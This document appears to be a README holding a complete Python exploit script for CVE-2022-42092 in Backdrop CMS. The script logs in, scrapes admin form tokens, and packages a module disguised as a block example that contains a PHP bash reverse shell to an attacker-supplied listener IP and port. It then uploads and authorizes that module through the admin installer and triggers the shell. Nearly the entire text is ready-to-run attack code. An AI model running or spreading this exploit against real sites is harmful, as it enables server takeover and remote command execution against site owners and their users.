README.md
Rendering markdown...
import requests
import argparse
import re
import os
import tarfile
import json
from urllib.parse import urlparse, parse_qs
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
# Fixed boundary for multipart/form-data
BOUNDARY = '----WebKitFormBoundaryGwsD4HInY1Jf9ANu'
def ensure_url_structure(url):
if not url.startswith(('http://', 'https://')):
print("[-] URL missing scheme (http:// or https://), adding http:// by default.")
url = "http://" + url
if not url.endswith('/'):
url += '/'
return url
def login(target_url, username, password):
print("[+] Retrieving form_build_id...")
r = requests.get(f"{target_url}/?q=user/login", verify=False)
form_build_id = re.search(r'name="form_build_id" value="(.*?)"', r.text)
if form_build_id:
form_build_id = form_build_id.group(1)
else:
print("[-] Could not find form_build_id!")
exit(1)
print("[+] Logging in...")
payload = {
'name': username,
'pass': password,
'form_build_id': form_build_id,
'form_id': 'user_login',
'op': 'Log in'
}
session = requests.Session()
r = session.post(f"{target_url}/?q=user/login", data=payload, verify=False, allow_redirects=False)
if r.status_code == 302:
print("[+] Login successful!")
return session
else:
print("[-] Login failed!")
exit(1)
def create_malicious_tar(listener_ip, listener_port):
print("[+] Creating malicious shell module...")
if not os.path.exists("shell"):
os.makedirs("shell")
with open("shell/shell.info", "w") as f:
f.write("""name = Block Example
description = An example outlining how a module can define blocks.
dependencies[] = block
package = Example modules
version = BACKDROP_VERSION
backdrop = 1.x
type = module
""")
with open("shell/shell.php", "w") as f:
f.write(f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1'\"); ?>")
with tarfile.open("shell.tar.gz", "w:gz") as tar:
tar.add("shell", arcname=os.path.basename("shell"))
print("[+] Malicious shell module archive created.")
def get_admin_tokens(session, target_url):
print("[+] Grabbing admin installer tokens...")
r = session.get(f"{target_url}/?q=admin/installer/manual", verify=False)
form_build_id_admin = re.search(r'name="form_build_id" value="(.*?)"', r.text)
form_token = re.search(r'name="form_token" value="(.*?)"', r.text)
theme_token = re.search(r'"theme_token":"(.*?)"', r.text)
if form_build_id_admin and form_token and theme_token:
return form_build_id_admin.group(1), form_token.group(1), theme_token.group(1)
else:
print("[-] Could not grab necessary tokens!")
exit(1)
def authorize_upload(session, target_url, response_text):
try:
response_json = json.loads(response_text)
for item in response_json:
authorize_url = item.get('url')
if authorize_url:
parsed_url = urlparse(authorize_url)
params = parse_qs(parsed_url.query)
batch = params.get('batch', [None])[0]
id_ = params.get('id', [None])[0]
if batch and id_:
final_url = f"{target_url}/core/authorize.php?batch={batch}&id={id_}&op=do_nojs&op=do"
print(f"[+] Sending Authorize Request ...")
r = session.post(final_url, verify=False)
if r.status_code == 200:
print("[+] Request successful!")
else:
print("[-] Request failed!")
exit(1)
break
except Exception as e:
print(f"[-] Could not extract upload URL: {e}")
exit(1)
def upload_shell(session, target_url, form_build_id_admin, form_token, theme_token):
print("[+] Uploading malicious archive...")
with open('shell.tar.gz', 'rb') as f:
body = (
f"--{BOUNDARY}\r\n"
f"Content-Disposition: form-data; name=\"form_build_id\"\r\n\r\n{form_build_id_admin}\r\n"
f"--{BOUNDARY}\r\n"
f"Content-Disposition: form-data; name=\"form_token\"\r\n\r\n{form_token}\r\n"
f"--{BOUNDARY}\r\n"
f"Content-Disposition: form-data; name=\"form_id\"\r\n\r\ninstaller_manager_install_form\r\n"
f"--{BOUNDARY}\r\n"
f"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nop\r\n"
f"--{BOUNDARY}\r\n"
f"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nInstall\r\n"
f"--{BOUNDARY}\r\n"
f"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nseven\r\n"
f"--{BOUNDARY}\r\n"
f"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\n{theme_token}\r\n"
f"--{BOUNDARY}\r\n"
f"Content-Disposition: form-data; name=\"files[project_upload]\"; filename=\"shell.tar.gz\"\r\n"
f"Content-Type: application/gzip\r\n\r\n"
).encode() + f.read() + f"\r\n--{BOUNDARY}--\r\n".encode()
headers = {
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryGwsD4HInY1Jf9ANu',
'Accept': 'application/vnd.backdrop-ajax, */*; q=0.01'
}
r = session.post(f"{target_url}/?q=system/ajax", headers=headers, data=body, verify=False)
if r.status_code == 200:
print("[+] File uploaded successfully!")
authorize_upload(session, target_url, r.text)
return True
else:
print("[-] Upload failed!")
exit(1)
def main():
parser = argparse.ArgumentParser(description='CVE-2022-42092 Exploit Script')
parser.add_argument('target_url', help='Target URL')
parser.add_argument('username', help='Username')
parser.add_argument('password', help='Password')
parser.add_argument('listener_ip', help='Listener IP')
parser.add_argument('listener_port', help='Listener Port')
args = parser.parse_args()
target_url = ensure_url_structure(args.target_url)
session = login(target_url, args.username, args.password)
create_malicious_tar(args.listener_ip, args.listener_port)
form_build_id_admin, form_token, theme_token = get_admin_tokens(session, target_url)
upload_shell(session, target_url, form_build_id_admin, form_token, theme_token)
print("[+] Triggering the reverse shell...")
requests.get(f"{target_url}/modules/shell/shell.php", verify=False)
if __name__ == "__main__":
main()